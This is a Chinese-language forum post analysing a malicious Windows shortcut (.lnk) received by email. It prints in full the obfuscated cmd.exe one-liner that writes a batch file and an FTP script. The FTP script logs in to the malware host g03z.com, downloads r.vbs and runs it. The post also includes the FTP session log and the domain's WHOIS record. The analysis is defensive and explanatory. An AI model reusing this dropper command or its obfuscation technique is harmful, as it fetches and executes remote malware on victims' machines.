抱歉! 小弟直到現在才明白tvirus 兄的意思, %COMSPEC%, START r.VBS, Call U.BAT, 原來.lnk 只是障眼法, 針對的還是Windows 的漏洞, 可否請樓主貼出完整信件的原始內容?
透過Prcview去看看這LNK做了啥事...
1.
"C:\WINDOWS\system32\cmd.exe" /C set M=p -s:j&SeT N=.&sET y=G03&sET v=33&SeT e=echO &EcHo %e%o WWw%n%%y%Z%N%CoM^>J>B&EChO %E%AA%v%^>^>j>>B&ecHO %E%bb%v%^>^>j>>B&echo %e%rECV r r.Vbs^>^>J>>B&ECho %E%bY^>^>J>>b&ECho Ft%M%>>b&EchO STaRT r.VBs>>b&reN b u.BAT&CaLl U.Bat&
2.
Ftp -s:j
先將1的部份以&來斷行
"C:\WINDOWS\system32\cmd.exe" /C set M=p -s:j
SeT N=.
sET y=G03
sET v=33
SeT e=echO
EcHo %e%o WWw%n%%y%Z%N%CoM^>J>B
EChO %E%AA%v%^>^>j>>B
ecHO %E%bb%v%^>^>j>>B
echo %e%rECV r r.Vbs^>^>J>>B
ECho %E%bY^>^>J>>b
ECho Ft%M%>>b
EchO STaRT r.VBs>>b
reN b u.BAT
CaLl U.Bat&
因為開始目錄為%windir%
所以在C:\WINDOWS產生了u.bat及J
C:\WINDOWS>type u.bat
%e%o WWw%n%%y%Z%N%CoM>J
%E%AA%v%>>j
%E%bb%v%>>j
%e%rECV r r.Vbs>>J
%E%bY>>J
Ft%M%
STaRT r.VBs
C:\WINDOWS>type j
o www . g03z . com
AA33
bb33
rECV r r.Vbs
bY
所以...目地是用ftp指令,代入script檔案J連到www . g03z . com
帳號密碼輸入後,抓r.vbs回來,然後下指令by斷線
過程:
C:\WINDOWS>ftp www . g03z . com
Connected to www . g03z . com.
220 Serv-U FTP Server v6.4 for WinSock ready...
User (www . g03z . com:(none)): AA33
331 User name okay, need password.
Password:
230 User logged in, proceed.
ftp> rECV r r.Vbs
200 PORT Command successful.
150 Opening ASCII mode data connection for r (1327 Bytes).
226-Maximum disk quota limited to 102400 kBytes
Used disk quota 0 kBytes, available 102400 kBytes
226 Transfer complete.
ftp: 1327 bytes received in 0.01Seconds 88.47Kbytes/sec.
ftp> by
221 Goodbye!
====================================================
然後u.bat最後再start r.vbs
至於那個r.vbs內容是啥...呃...交給你們了...
睡覺前最後PS:
那個g03z,好像是有名的放毒站...
最糟糕的是
主機它在台灣 :Q
http://www.db.ripe.net/whois?form_type=advanced&full_query_string=&searchtext=202.153.172.43&do_search=Search&inverse_attributes=None&ip_search_lvl=Default%28nearest+match%29&alt_database=ALL&object_type=All
Domain Name : g03z.com
PunnyCode : g03z.com
Creation Date : 2009-01-08 16:50:39
Updated Date : 2009-01-08 16:50:39
Expiration Date : 2010-01-08 16:50:21
Registrant:
Organization : ggg zzz
Name : zzzzggg
Address : wefwefw wefwefwef
City : 34234234
Province/State : jiangsu
Country : CN
Postal Code : 234234
Administrative Contact:
Name : ggg zzz
Organization : zzzzggg
Address : wefwefw wefwefwef
City : 34234234
Province/State : jiangsu
Country : CN
Postal Code : 234234
Phone Number : 86--02586883333
Fax : 86--02586883333
Email :
[email protected]
Technical Contact:
Name : ggg zzz
Organization : zzzzggg
Address : wefwefw wefwefwef
City : 34234234
Province/State : jiangsu
Country : CN
Postal Code : 234234
Phone Number : 86--02586883333
Fax : 86--02586883333
Email :
[email protected]
Billing Contact:
Name : ggg zzz
Organization : zzzzggg
Address : wefwefw wefwefwef
City : 34234234
Province/State : jiangsu
Country : CN
Postal Code : 234234
Phone Number : 86--02586883333
Fax : 86--02586883333
Email :
[email protected]
Registry Status: ok